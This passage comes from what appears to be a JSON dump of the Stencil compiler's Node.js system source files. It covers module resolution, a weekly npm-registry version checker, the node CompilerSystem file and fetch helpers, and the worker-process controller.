path.join(dir, 'node_modules', moduleSplt[0], moduleSplt[1], 'package.json');\n\n      if (!fs.existsSync(typesPackageJsonFilePath)) {\n        continue;\n      }\n\n      this.resolveModuleCache.set(cacheKey, typesPackageJsonFilePath);\n\n      return typesPackageJsonFilePath;\n    }\n\n    throw new Error(`error loading \"${moduleId}\" from \"${fromDir}\"`);\n  }\n\n  resolveModuleManually(fromDir: string, moduleId: string, cacheKey: string) {\n    const root = normalizePath(path.parse(fromDir).root);\n\n    let dir = normalizePath(path.join(fromDir, 'noop.js'));\n    let packageJsonFilePath: string;\n\n    while (dir !== root) {\n      dir = normalizePath(path.dirname(dir));\n      packageJsonFilePath = path.join(dir, 'node_modules', moduleId, 'package.json');\n\n      if (!fs.existsSync(packageJsonFilePath)) {\n        continue;\n      }\n\n      this.resolveModuleCache.set(cacheKey, packageJsonFilePath);\n\n      return packageJsonFilePath;\n    }\n\n    throw new Error(`error loading \"${moduleId}\" from \"${fromDir}\"`);\n  }\n}\n"
  },
  {
    "path": "src/sys/node/node-setup-process.ts",
    "content": "import { shouldIgnoreError } from '@utils';\n\nimport type { Logger } from '../../declarations';\n\nexport function setupNodeProcess(c: { process: any; logger: Logger }) {\n  c.process.on(`unhandledRejection`, (e: any) => {\n    if (!shouldIgnoreError(e)) {\n      let msg = 'unhandledRejection';\n      if (e != null) {\n        if (typeof e === 'string') {\n          msg += ': ' + e;\n        } else if (e.stack) {\n          msg += ': ' + e.stack;\n        } else if (e.message) {\n          msg += ': ' + e.message;\n        }\n      }\n      c.logger.error(msg);\n    }\n  });\n}\n"
  },
  {
    "path": "src/sys/node/node-stencil-version-checker.ts",
    "content": "import { isString, noop } from '@utils';\nimport fs from 'graceful-fs';\nimport { tmpdir } from 'os';\nimport path from 'path';\nimport semverLt from 'semver/functions/lt';\n\nimport type { Logger, PackageJsonData } from '../../declarations';\n\nconst REGISTRY_URL = `https://registry.npmjs.org/@stencil/core`;\nconst CHECK_INTERVAL = 1000 * 60 * 60 * 24 * 7;\nconst CHANGELOG = `https://github.com/stenciljs/core/blob/main/CHANGELOG.md`;\n\nexport async function checkVersion(logger: Logger, currentVersion: string): Promise<() => void> {\n  try {\n    const latestVersion = await getLatestCompilerVersion(logger);\n    if (latestVersion != null) {\n      return () => {\n        if (semverLt(currentVersion, latestVersion)) {\n          printUpdateMessage(logger, currentVersion, latestVersion);\n        } else {\n          console.debug(\n            `${logger.cyan('@stencil/core')} version ${logger.green(currentVersion)} is the latest version`,\n          );\n        }\n      };\n    }\n  } catch (e) {\n    logger.debug(`unable to load latest compiler version: ${e}`);\n  }\n  return noop;\n}\n\nasync function getLatestCompilerVersion(logger: Logger) {\n  try {\n    const lastCheck = await getLastCheck();\n    if (lastCheck == null) {\n      // we've never check before, so probably first install, so don't bother\n      // save that we did just do a check though\n      setLastCheck();\n      return null;\n    }\n\n    if (!requiresCheck(Date.now(), lastCheck, CHECK_INTERVAL)) {\n      // within the range that we did a check recently, so don't bother\n      return null;\n    }\n\n    // remember we just did a check\n    const setPromise = setLastCheck();\n\n    const body = await requestUrl(REGISTRY_URL);\n    const data = JSON.parse(body) as PackageJsonData;\n\n    await setPromise;\n\n    return data['dist-tags'].latest;\n  } catch (e) {\n    // quietly catch, could have no network connection which is fine\n    logger.debug(`getLatestCompilerVersion error: ${e}`);\n  }\n\n  return null;\n}\n\nasync function requestUrl(url: string) {\n  const https = await import('https');\n\n  return new Promise<string>((resolve, reject) => {\n    const req = https.request(url, (res) => {\n      if (res.statusCode > 299) {\n        reject(`url: ${url}, staus: ${res.statusCode}`);\n        return;\n      }\n\n      res.once('error', reject);\n\n      const ret: any = [];\n      res.once('end', () => {\n        resolve(ret.join(''));\n      });\n\n      res.on('data', (data) => {\n        ret.push(data);\n      });\n    });\n    req.once('error', reject);\n    req.end();\n  });\n}\n\nfunction requiresCheck(now: number, lastCheck: number, checkInterval: number) {\n  return lastCheck + checkInterval < now;\n}\n\nfunction getLastCheck() {\n  return new Promise<number>((resolve) => {\n    fs.readFile(getLastCheckStoragePath(), 'utf8', (err, data) => {\n      if (!err && isString(data)) {\n        try {\n          resolve(JSON.parse(data));\n        } catch (e) {}\n      }\n      resolve(null);\n    });\n  });\n}\n\nfunction setLastCheck() {\n  return new Promise<void>((resolve) => {\n    const now = JSON.stringify(Date.now());\n    fs.writeFile(getLastCheckStoragePath(), now, () => {\n      resolve();\n    });\n  });\n}\n\nfunction getLastCheckStoragePath() {\n  return path.join(tmpdir(), 'stencil_last_version_node.json');\n}\n\nfunction printUpdateMessage(logger: Logger, currentVersion: string, latestVersion: string) {\n  const installMessage = `npm install @stencil/core`;\n  const msg = [\n    `Update available: ${currentVersion} ${ARROW} ${latestVersion}`,\n    `To get the latest, please run:`,\n    installMessage,\n    CHANGELOG,\n  ];\n\n  const lineLength = msg.reduce((longest, line) => (line.length > longest ? line.length : longest), 0);\n\n  const o: string[] = [];\n\n  let top = BOX_TOP_LEFT;\n  while (top.length <= lineLength + PADDING * 2) {\n    top += BOX_HORIZONTAL;\n  }\n  top += BOX_TOP_RIGHT;\n  o.push(top);\n\n  msg.forEach((m) => {\n    let line = BOX_VERTICAL;\n    for (let i = 0; i < PADDING; i++) {\n      line += ` `;\n    }\n    line += m;\n    while (line.length <= lineLength + PADDING * 2) {\n      line += ` `;\n    }\n    line += BOX_VERTICAL;\n    o.push(line);\n  });\n\n  let bottom = BOX_BOTTOM_LEFT;\n  while (bottom.length <= lineLength + PADDING * 2) {\n    bottom += BOX_HORIZONTAL;\n  }\n  bottom += BOX_BOTTOM_RIGHT;\n  o.push(bottom);\n\n  let output = `${INDENT}${o.join(`\\n${INDENT}`)}\\n`;\n\n  output = output.replace(currentVersion, logger.red(currentVersion));\n  output = output.replace(latestVersion, logger.green(latestVersion));\n  output = output.replace(installMessage, logger.cyan(installMessage));\n  output = output.replace(CHANGELOG, logger.dim(CHANGELOG));\n\n  console.log(output);\n}\n\nconst ARROW = `→`;\nconst BOX_TOP_LEFT = `╭`;\nconst BOX_TOP_RIGHT = `╮`;\nconst BOX_BOTTOM_LEFT = `╰`;\nconst BOX_BOTTOM_RIGHT = `╯`;\nconst BOX_VERTICAL = `│`;\nconst BOX_HORIZONTAL = `─`;\nconst PADDING = 2;\nconst INDENT = `   `;\n"
  },
  {
    "path": "src/sys/node/node-sys.ts",
    "content": "import { isFunction, normalizePath } from '@utils';\nimport { parse as parseYarnLockFile } from '@yarnpkg/lockfile';\nimport { createHash } from 'crypto';\nimport exit from 'exit';\nimport fs from 'graceful-fs';\nimport { cpus, freemem, platform, release, tmpdir, totalmem } from 'os';\nimport * as os from 'os';\nimport path from 'path';\nimport type TypeScript from 'typescript';\n\nimport { buildEvents } from '../../compiler/events';\nimport type {\n  CompilerFileWatcher,\n  CompilerFileWatcherCallback,\n  CompilerSystem,\n  CompilerSystemCreateDirectoryResults,\n  CompilerSystemRealpathResults,\n  CompilerSystemRemoveFileResults,\n  CompilerSystemWriteFileResults,\n  Logger,\n} from '../../declarations';\nimport { asyncGlob, nodeCopyTasks } from './node-copy-tasks';\nimport { NodeLazyRequire } from './node-lazy-require';\nimport { NodeResolveModule } from './node-resolve-module';\nimport { checkVersion } from './node-stencil-version-checker';\nimport { NodeWorkerController } from './node-worker-controller';\n\n/**\n * Create a node.js-specific {@link CompilerSystem} to be used when Stencil is\n * run from the CLI or via the public API in a node context.\n *\n * This takes an optional param supplying a `process` object to be used.\n *\n * @param c an optional object wrapping `process` and `logger` objects\n * @returns a node.js `CompilerSystem` object\n */\nexport function createNodeSys(c: { process?: any; logger?: Logger } = {}): CompilerSystem {\n  const prcs: NodeJS.Process = c?.process ?? global.process;\n  const logger: Logger | undefined = c?.logger;\n  const destroys = new Set<() => Promise<void> | void>();\n  const onInterruptsCallbacks: (() => void)[] = [];\n\n  const sysCpus = cpus();\n  const hardwareConcurrency = sysCpus.length;\n  const osPlatform = platform();\n\n  const compilerExecutingPath = path.join(__dirname, '..', '..', 'compiler', 'stencil.js');\n  const devServerExecutingPath = path.join(__dirname, '..', '..', 'dev-server', 'index.js');\n\n  const runInterruptsCallbacks = () => {\n    const returnValues: Promise<any>[] = [];\n    let cb: () => any;\n    while (isFunction((cb = onInterruptsCallbacks.pop()))) {\n      try {\n        const rtn = cb();\n        returnValues.push(rtn);\n      } catch (e) {}\n    }\n    return Promise.all(returnValues).then(() => {});\n  };\n\n  const sys: CompilerSystem = {\n    name: 'node',\n    version: prcs.versions.node,\n    access(p) {\n      return new Promise((resolve) => {\n        fs.access(p, (err) => resolve(!err));\n      });\n    },\n    accessSync(p) {\n      let hasAccess = false;\n      try {\n        fs.accessSync(p);\n        hasAccess = true;\n      } catch (e) {}\n      return hasAccess;\n    },\n    addDestroy(cb) {\n      destroys.add(cb);\n    },\n    removeDestroy(cb) {\n      destroys.delete(cb);\n    },\n    applyPrerenderGlobalPatch(opts) {\n      if (typeof global.fetch !== 'function') {\n        const nodeFetch = require(path.join(__dirname, 'node-fetch.js'));\n\n        global.fetch = (input: any, init: any) => {\n          if (typeof input === 'string') {\n            // fetch(url) w/ url string\n            const urlStr = new URL(input, opts.devServerHostUrl).href;\n            return nodeFetch.fetch(urlStr, init);\n          } else {\n            // fetch(Request) w/ request object\n            input.url = new URL(input.url, opts.devServerHostUrl).href;\n            return nodeFetch.fetch(input, init);\n          }\n        };\n\n        global.Headers = nodeFetch.Headers;\n        global.Request = nodeFetch.Request;\n        global.Response = nodeFetch.Response;\n        (global as any).FetchError = nodeFetch.FetchError;\n      }\n\n      opts.window.fetch = global.fetch;\n      opts.window.Headers = global.Headers;\n      opts.window.Request = global.Request;\n      opts.window.Response = global.Response;\n      opts.window.FetchError = (global as any).FetchError;\n    },\n    fetch: (input: any, init: any) => {\n      const nodeFetch = require(path.join(__dirname, 'node-fetch.js'));\n\n      if (typeof input === 'string') {\n        // fetch(url) w/ url string\n        const urlStr = new URL(input).href;\n        return nodeFetch.fetch(urlStr, init);\n      } else {\n        // fetch(Request) w/ request object\n        input.url = new URL(input.url).href;\n        return nodeFetch.fetch(input, init);\n      }\n    },\n    checkVersion,\n    copyFile(src, dst) {\n      return new Promise((resolve) => {\n        fs.copyFile(src, dst, (err) => {\n          resolve(!err);\n        });\n      });\n    },\n    createDir(p, opts) {\n      return new Promise((resolve) => {\n        if (opts) {\n          fs.mkdir(p, opts, (err) => {\n            resolve({\n              basename: path.basename(p),\n              dirname: path.dirname(p),\n              path: p,\n              newDirs: [],\n              error: err,\n            });\n          });\n        } else {\n          fs.mkdir(p, (err) => {\n            resolve({\n              basename: path.basename(p),\n              dirname: path.dirname(p),\n              path: p,\n              newDirs: [],\n              error: err,\n            });\n          });\n        }\n      });\n    },\n    createDirSync(p, opts) {\n      const results: CompilerSystemCreateDirectoryResults = {\n        basename: path.basename(p),\n        dirname: path.dirname(p),\n        path: p,\n        newDirs: [],\n        error: null,\n      };\n      try {\n        fs.mkdirSync(p, opts);\n      } catch (e) {\n        results.error = e;\n      }\n      return results;\n    },\n    createWorkerController(maxConcurrentWorkers) {\n      const forkModulePath = path.join(__dirname, 'worker.js');\n      return new NodeWorkerController(forkModulePath, maxConcurrentWorkers);\n    },\n    async destroy() {\n      const waits: Promise<void>[] = [];\n      destroys.forEach((cb) => {\n        try {\n          const rtn = cb();\n          if (rtn && typeof rtn.then === 'function') {\n            waits.push(rtn);\n          }\n        } catch (e) {\n          console.error(`node sys destroy: ${e}`);\n        }\n      });\n      if (waits.length > 0) {\n        await Promise.all(waits);\n      }\n      destroys.clear();\n    },\n    dynamicImport(p) {\n      return Promise.resolve(require(p));\n    },\n    encodeToBase64(str) {\n      return Buffer.from(str).toString('base64');\n    },\n    async ensureDependencies() {\n      // TODO(STENCIL-727): Remove this from the sys interface\n      console.warn(`ensureDependencies will be removed in a future version of Stencil.`);\n      console.warn(`To get the stencilPath, please use getCompilerExecutingPath().`);\n\n      return {\n        stencilPath: sys.getCompilerExecutingPath(),\n        diagnostics: [],\n      };\n    },\n    async ensureResources() {\n      // TODO(STENCIL-727): Remove this from the sys interface\n      console.warn(`ensureResources is a no-op, and will be removed in a future version of Stencil`);\n    },\n    exit: async (exitCode) => {\n      await runInterruptsCallbacks();\n      exit(exitCode);\n    },\n    getCurrentDirectory() {\n      return normalizePath(prcs.cwd());\n    },\n    getCompilerExecutingPath() {\n      return compilerExecutingPath;\n    },\n    getDevServerExecutingPath() {\n      return devServerExecutingPath;\n    },\n    getEnvironmentVar(key) {\n      return process.env[key];\n    },\n    getLocalModulePath() {\n      return null;\n    },\n    getRemoteModuleUrl() {\n      return null;\n    },\n    glob: asyncGlob,\n    hardwareConcurrency,\n    isSymbolicLink(p: string) {\n      return new Promise<boolean>((resolve) => {\n        try {\n          fs.lstat(p, (err, stats) => {\n            if (err) {\n              resolve(false);\n            } else {\n              resolve(stats.isSymbolicLink());\n            }\n          });\n        } catch (e) {\n          resolve(false);\n        }\n      });\n    },\n    nextTick: prcs.nextTick,\n    normalizePath,\n    onProcessInterrupt: (cb) => {\n      if (!onInterruptsCallbacks.includes(cb)) {\n        onInterruptsCallbacks.push(cb);\n      }\n    },\n    platformPath: path,\n    readDir(p) {\n      return new Promise((resolve) => {\n        fs.readdir(p, (err, files) => {\n          if (err) {\n            resolve([]);\n          } else {\n            resolve(\n              files.map((f) => {\n                return normalizePath(path.join(p, f));\n              }),\n            );\n          }\n        });\n      });\n    },\n    parseYarnLockFile(content: string) {\n      return parseYarnLockFile(content);\n    },\n    isTTY() {\n      return !!process?.stdout?.isTTY;\n    },\n    readDirSync(p) {\n      try {\n        return fs.readdirSync(p).map((f) => {\n          return normalizePath(path.join(p, f));\n        });\n      } catch (e) {}\n      return [];\n    },\n    readFile(p: string, encoding?: string) {\n      if (encoding === 'binary') {\n        return new Promise<any>((resolve) => {\n          fs.readFile(p, (_, data) => {\n            resolve(data);\n          });\n        });\n      }\n      return new Promise<string>((resolve) => {\n        fs.readFile(p, 'utf8', (_, data) => {\n          resolve(data);\n        });\n      });\n    },\n    readFileSync(p) {\n      try {\n        return fs.readFileSync(p, 'utf8');\n      } catch (e) {}\n      return undefined;\n    },\n    homeDir() {\n      try {\n        return os.homedir();\n      } catch (e) {}\n      return undefined;\n    },\n    realpath(p) {\n      return new Promise((resolve) => {\n        fs.realpath(p, 'utf8', (e, data) => {\n          resolve({\n            path: data,\n            error: e,\n          });\n        });\n      });\n    },\n    realpathSync(p) {\n      const results: CompilerSystemRealpathResults = {\n        path: undefined,\n        error: null,\n      };\n      try {\n        results.path = fs.realpathSync(p, 'utf8');\n      } catch (e) {\n        results.error = e;\n      }\n      return results;\n    },\n    rename(oldPath, newPath) {\n      return new Promise((resolve) => {\n        fs.rename(oldPath, newPath, (error) => {\n          resolve({\n            oldPath,\n            newPath,\n            error,\n            oldDirs: [],\n            oldFiles: [],\n            newDirs: [],\n            newFiles: [],\n            renamed: [],\n            isFile: false,\n            isDirectory: false,\n          });\n        });\n      });\n    },\n    resolvePath(p) {\n      return normalizePath(p);\n    },\n    removeDir(p, opts) {\n      return new Promise((resolve) => {\n        const recursive = !!(opts && opts.recursive);\n        if (recursive) {\n          fs.rm(p, { recursive: true, force: true }, (err) => {\n            resolve({\n              basename: path.basename(p),\n              dirname: path.dirname(p),\n              path: p,\n              removedDirs: [],\n              removedFiles: [],\n              error: err,\n            });\n          });\n        } else {\n          fs.rmdir(p, (err) => {\n            resolve({\n              basename: path.basename(p),\n              dirname: path.dirname(p),\n              path: p,\n              removedDirs: [],\n              removedFiles: [],\n              error: err,\n            });\n          });\n        }\n      });\n    },\n    removeDirSync(p, opts) {\n      try {\n        const recursive = !!(opts && opts.recursive);\n        if (recursive) {\n          fs.rmSync(p, { recursive: true, force: true });\n        } else {\n          fs.rmdirSync(p);\n        }\n        return {\n          basename: path.basename(p),\n          dirname: path.dirname(p),\n          path: p,\n          removedDirs: [],\n          removedFiles: [],\n          error: null,\n        };\n      } catch (e) {\n        return {\n          basename: path.basename(p),\n          dirname: path.dirname(p),\n          path: p,\n          removedDirs: [],\n          removedFiles: [],\n          error: e,\n        };\n      }\n    },\n    removeFile(p) {\n      return new Promise((resolve) => {\n        fs.unlink(p, (err) => {\n          resolve({\n            basename: path.basename(p),\n            dirname: path.dirname(p),\n            path: p,\n            error: err,\n          });\n        });\n      });\n    },\n    removeFileSync(p) {\n      const results: CompilerSystemRemoveFileResults = {\n        basename: path.basename(p),\n        dirname: path.dirname(p),\n        path: p,\n        error: null,\n      };\n      try {\n        fs.unlinkSync(p);\n      } catch (e) {\n        results.error = e;\n      }\n      return results;\n    },\n    setupCompiler(c) {\n      // save references to typescript utilities so that we can wrap them\n      const ts: typeof TypeScript = c.ts;\n      const tsSysWatchDirectory = ts.sys.watchDirectory;\n      const tsSysWatchFile = ts.sys.watchFile;\n\n      sys.watchTimeout = 80;\n\n      sys.events = buildEvents();\n\n      sys.watchDirectory = (p, callback, recursive) => {\n        logger?.debug(`NODE_SYS_DEBUG::watchDir ${p}`);\n\n        const tsFileWatcher = tsSysWatchDirectory(\n          p,\n          (fileName) => {\n            logger?.debug(`NODE_SYS_DEBUG::watchDir:callback dir=${p} changedPath=${fileName}`);\n            callback(normalizePath(fileName), 'fileUpdate');\n          },\n          recursive,\n        );\n\n        const close = () => {\n          tsFileWatcher.close();\n        };\n\n        sys.addDestroy(close);\n\n        return {\n          close() {\n            sys.removeDestroy(close);\n            tsFileWatcher.close();\n          },\n        };\n      };\n\n      /**\n       * Wrap the TypeScript `watchFile` implementation in order to hook into the rest of the {@link CompilerSystem}\n       * implementation that is used when running Stencil's compiler in \"watch mode\" in Node.\n       *\n       * The wrapped function calls the default TypeScript `watchFile` implementation for the provided `path`. Based on\n       * the type of {@link ts.FileWatcherEventKind} emitted, invoke the provided callback and inform the rest of the\n       * `CompilerSystem` that the event occurred.\n       *\n       * This function does not perform any file watcher registration itself. Each `path` provided to it when called\n       * has already been registered as a file to watch.\n       *\n       * @param path the path to the file that is being watched\n       * @param callback a callback to invoke. The same callback is invoked for every `ts.FileWatcherEventKind`, only\n       * with a different event classifier string.\n       * @returns an object with a method for unhooking the file watcher from the system\n       */\n      sys.watchFile = (path: string, callback: CompilerFileWatcherCallback): CompilerFileWatcher => {\n        logger?.debug(`NODE_SYS_DEBUG::watchFile ${path}`);\n\n        const tsFileWatcher = tsSysWatchFile(\n          path,\n          (fileName: string, tsEventKind: TypeScript.FileWatcherEventKind) => {\n            fileName = normalizePath(fileName);\n            if (tsEventKind === ts.FileWatcherEventKind.Created) {\n              callback(fileName, 'fileAdd');\n              sys.events.emit('fileAdd', fileName);\n            } else if (tsEventKind === ts.FileWatcherEventKind.Changed) {\n              callback(fileName, 'fileUpdate');\n              sys.events.emit('fileUpdate', fileName);\n            } else if (tsEventKind === ts.FileWatcherEventKind.Deleted) {\n              callback(fileName, 'fileDelete');\n              sys.events.emit('fileDelete', fileName);\n            }\n          },\n\n          /**\n           * When setting up a watcher, a numeric polling interval (in milliseconds) must be set when using\n           * {@link ts.WatchFileKind.FixedPollingInterval}. Failing to do so may cause the watch process in the\n           * TypeScript compiler to crash when files are deleted.\n           *\n           * This is the value that was used for files in TypeScript 4.8.4. The value is hardcoded as TS does not\n           * export this value/make it publicly available.\n           */\n          250,\n\n          /**\n           * As of TypeScript v4.9, the default file watcher implementation is based on file system events, and moves\n           * away from the previous polling based implementation. When attempting to use the file system events-based\n           * implementation, issues with the dev server (which runs \"watch mode\") were reported, stating that the\n           * compiler was continuously recompiling and reloading the dev server. It was found that in some cases, this\n           * would be caused by the access time (`atime`) on a non-TypeScript file being update by some process on the\n           * user's machine. For now, we default back to the poll-based implementation to avoid such issues, and will\n           * revisit this functionality in the future.\n           *\n           * Ref: {@link https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-9.html#file-watching-now-uses-file-system-events|TS 4.9 Release Note}\n           *\n           * TODO(STENCIL-744): Revisit using file system events for watch mode\n           */\n          {\n            // TS 4.8 and under defaulted to this type of polling interval for polling-based watchers\n            watchFile: ts.WatchFileKind.FixedPollingInterval,\n            // set fallbackPolling so that directories are given the correct watcher variant\n            fallbackPolling: ts.PollingWatchKind.FixedInterval,\n          },\n        );\n\n        const close = () => {\n          tsFileWatcher.close();\n        };\n        sys.addDestroy(close);\n\n        return {\n          close() {\n            sys.removeDestroy(close);\n            tsFileWatcher.close();\n          },\n        };\n      };\n    },\n    stat(p) {\n      return new Promise((resolve) => {\n        fs.stat(p, (err, fsStat) => {\n          if (err) {\n            resolve({\n              isDirectory: false,\n              isFile: false,\n              isSymbolicLink: false,\n              size: 0,\n              mtimeMs: 0,\n              error: err,\n            });\n          } else {\n            resolve({\n              isDirectory: fsStat.isDirectory(),\n              isFile: fsStat.isFile(),\n              isSymbolicLink: fsStat.isSymbolicLink(),\n              size: fsStat.size,\n              mtimeMs: fsStat.mtimeMs,\n              error: null,\n            });\n          }\n        });\n      });\n    },\n    statSync(p) {\n      try {\n        const fsStat = fs.statSync(p);\n        return {\n          isDirectory: fsStat.isDirectory(),\n          isFile: fsStat.isFile(),\n          isSymbolicLink: fsStat.isSymbolicLink(),\n          size: fsStat.size,\n          mtimeMs: fsStat.mtimeMs,\n          error: null,\n        };\n      } catch (e) {\n        return {\n          isDirectory: false,\n          isFile: false,\n          isSymbolicLink: false,\n          size: 0,\n          mtimeMs: 0,\n          error: e,\n        };\n      }\n    },\n    tmpDirSync() {\n      return tmpdir();\n    },\n    writeFile(p, content) {\n      return new Promise((resolve) => {\n        fs.writeFile(p, content, (err) => {\n          resolve({ path: p, error: err });\n        });\n      });\n    },\n    writeFileSync(p, content) {\n      const results: CompilerSystemWriteFileResults = {\n        path: p,\n        error: null,\n      };\n      try {\n        fs.writeFileSync(p, content);\n      } catch (e) {\n        results.error = e;\n      }\n      return results;\n    },\n    generateContentHash(content, length) {\n      let hash = createHash('sha1').update(content).digest('hex').toLowerCase();\n      if (typeof length === 'number') {\n        hash = hash.slice(0, length);\n      }\n      return Promise.resolve(hash);\n    },\n    generateFileHash(filePath, length) {\n      return new Promise((resolve, reject) => {\n        const h = createHash('sha1');\n        fs.createReadStream(filePath)\n          .on('error', (err) => reject(err))\n          .on('data', (data) => h.update(data))\n          .on('end', () => {\n            let hash = h.digest('hex').toLowerCase();\n            if (typeof length === 'number') {\n              hash = hash.slice(0, length);\n            }\n            resolve(hash);\n          });\n      });\n    },\n    copy: nodeCopyTasks,\n    details: {\n      cpuModel: (Array.isArray(sysCpus) && sysCpus.length > 0 ? sysCpus[0] && sysCpus[0].model : '') || '',\n      freemem() {\n        return freemem();\n      },\n      platform:\n        osPlatform === 'darwin' || osPlatform === 'linux' ? osPlatform : osPlatform === 'win32' ? 'windows' : '',\n      release: release(),\n      totalmem: totalmem(),\n    },\n  };\n\n  const nodeResolve = new NodeResolveModule();\n\n  sys.lazyRequire = new NodeLazyRequire(nodeResolve, {\n    '@types/jest': { minVersion: '24.9.1', recommendedVersion: '29', maxVersion: '29.0.0' },\n    jest: { minVersion: '24.9.0', recommendedVersion: '29', maxVersion: '29.0.0' },\n    'jest-cli': { minVersion: '24.9.0', recommendedVersion: '29', maxVersion: '29.0.0' },\n    puppeteer: { minVersion: '10.0.0', recommendedVersion: '20' },\n    'puppeteer-core': { minVersion: '10.0.0', recommendedVersion: '20' },\n    'workbox-build': { minVersion: '4.3.1', recommendedVersion: '4.3.1' },\n  });\n\n  prcs.on('SIGINT', runInterruptsCallbacks);\n  prcs.on('exit', runInterruptsCallbacks);\n\n  return sys;\n}\n"
  },
  {
    "path": "src/sys/node/node-worker-controller.ts",
    "content": "import { TASK_CANCELED_MSG } from '@utils';\nimport { EventEmitter } from 'events';\nimport { cpus } from 'os';\n\nimport type * as d from '../../declarations';\nimport { NodeWorkerMain } from './node-worker-main';\n\n/**\n * A custom EventEmitter which provides centralizes dispatching and control for\n * node.js workers ({@link NodeWorkerMain} instances)\n */\nexport class NodeWorkerController extends EventEmitter implements d.WorkerMainController {\n  workerIds = 0;\n  stencilId = 0;\n  isEnding = false;\n  taskQueue: d.CompilerWorkerTask[] = [];\n  workers: NodeWorkerMain[] = [];\n  maxWorkers: number;\n  useForkedWorkers: boolean;\n  mainThreadRunner: { [fnName: string]: (...args: any[]) => Promise<any> };\n\n  /**\n   * Create a node.js-specific worker controller, which controls and\n   * coordinates distributing tasks to a series of child processes (tracked by\n   * {@link NodeWorkerMain} instances). These child processes are node\n   * processes executing a special worker script (`src/sys/node/worker.ts`)\n   * which listens for {@link d.MsgToWorker} messages and runs certain tasks in\n   * response.\n   *\n   * @param forkModulePath the path to the module which k\n   * @param maxConcurrentWorkers the max number of worker threads to spin up\n   */\n  constructor(\n    public forkModulePath: string,\n    maxConcurrentWorkers: number,\n  ) {\n    super();\n    const osCpus = cpus().length;\n\n    this.useForkedWorkers = maxConcurrentWorkers > 0;\n    this.maxWorkers = Math.max(Math.min(maxConcurrentWorkers, osCpus), 2) - 1;\n\n    if (this.useForkedWorkers) {\n      // start up the forked child processes\n      this.startWorkers();\n    } else {\n      // run on the main thread by just requiring the module\n      this.mainThreadRunner = require(forkModulePath);\n    }\n  }\n\n  onError(err: NodeJS.ErrnoException, workerId: number) {\n    if (err.code === 'ERR_IPC_CHANNEL_CLOSED') {\n      return this.stopWorker(workerId);\n    }\n    if (err.code !== 'EPIPE') {\n      console.error(err);\n    }\n  }\n\n  onExit(workerId: number) {\n    setTimeout(() => {\n      let doQueue = false;\n      const worker = this.workers.find((w) => w.id === workerId);\n\n      if (worker) {\n        worker.tasks.forEach((t) => {\n          t.retries++;\n          this.taskQueue.unshift(t);\n          doQueue = true;\n        });\n        worker.tasks.clear();\n      }\n\n      this.stopWorker(workerId);\n\n      if (doQueue) {\n        this.processTaskQueue();\n      }\n    }, 10);\n  }\n\n  startWorkers() {\n    while (this.workers.length < this.maxWorkers) {\n      this.startWorker();\n    }\n  }\n\n  startWorker() {\n    const workerId = this.workerIds++;\n    const worker = new NodeWorkerMain(workerId, this.forkModulePath);\n\n    worker.on('response', this.processTaskQueue.bind(this));\n\n    worker.once('exit', () => {\n      this.onExit(workerId);\n    });\n\n    worker.on('error', (err) => {\n      this.onError(err, workerId);\n    });\n\n    this.workers.push(worker);\n  }\n\n  stopWorker(workerId: number) {\n    const worker = this.workers.find((w) => w.id === workerId);\n    if (worker) {\n      worker.stop();\n\n      const index = this.workers.indexOf(worker);\n      if (index > -1) {\n        this.workers.splice(index, 1);\n      }\n    }\n  }\n\n  processTaskQueue() {\n    if (this.isEnding) {\n      return;\n    }\n\n    if (this.useForkedWorkers) {\n      this.startWorkers();\n    }\n\n    while (this.taskQueue.length > 0) {\n      const worker = getNextWorker(this.workers);\n      if (!worker) {\n        break;\n      }\n      worker.run(this.taskQueue.shift());\n    }\n  }\n\n  send(...args: any[]) {\n    if (this.isEnding) {\n      return Promise.reject(TASK_CANCELED_MSG);\n    }\n\n    if (this.useForkedWorkers) {\n      // queue to be sent to a forked child process\n      return new Promise<any>((resolve, reject) => {\n        const task: d.CompilerWorkerTask = {\n          stencilId: this.stencilId++,\n          inputArgs: args,\n          retries: 0,\n          resolve: resolve,\n          reject: reject,\n        };\n        this.taskQueue.push(task);\n\n        this.processTaskQueue();\n      });\n    }\n\n    // run on the main thread, no forked child processes\n    return this.mainThreadRunner[args[0]].apply(null, args.slice(1));\n  }\n\n  handler(name: string) {\n    return (...args: any[]) => {\n      return this.send(name, ...args);\n    };\n  }\n\n  cancelTasks() {\n    for (const worker of this.workers) {\n      worker.tasks.forEach((t) => t.reject(TASK_CANCELED_MSG));\n      worker.tasks.clear();\n    }\n    this.taskQueue.length = 0;\n  }\n\n  destroy() {\n    if (!this.isEnding) {\n      this.isEnding = true;\n\n      for (const task of this.taskQueue) {\n        task.reject(TASK_CANCELED_MSG);\n      }\n\n      this.taskQueue.length = 0;\n\n      const workerIds = this.workers.map((w) => w.id);\n      for (const workerId of workerIds) {\n        this.stopWorker(workerId);\n      }\n    }\n  }\n}\n\nexport function getNextWorker(workers: NodeWorkerMain[]) {\n  const availableWorkers = workers.filter((w) => {\n    if (w.stopped) {\n      // nope, don't use this worker if it's exiting\n      return false;\n    }\n\n    // this is an available worker up for the job, bring it!\n    return true;\n  });\n\n  if (availableWorkers.length === 0) {\n    // all workers are pretty tasked at the moment\n    // Please come back again. Thank you for your business.\n    return null;\n  }\n\n  const sorted = availableWorkers.sort((a, b) => {\n    // worker with the fewest active tasks first\n    if (a.tasks.size < b.tasks.size) return -1;\n    if (a.tasks.size > b.tasks.size) return 1;\n\n    // all workers have the same number of active tasks, so next sort\n    // by worker with the fewest total tasks that have been assigned\n    if (a.totalTasksAssigned < b.totalTasksAssigned) return -1;\n    if (a.totalTasksAssigned > b.totalTasksAssigned) return 1;\n\n    return 0;\n  });\n\n  return sorted[0];\n}\n"
  },
  {
    "path": "src/sys/node/node-worker-main.ts",
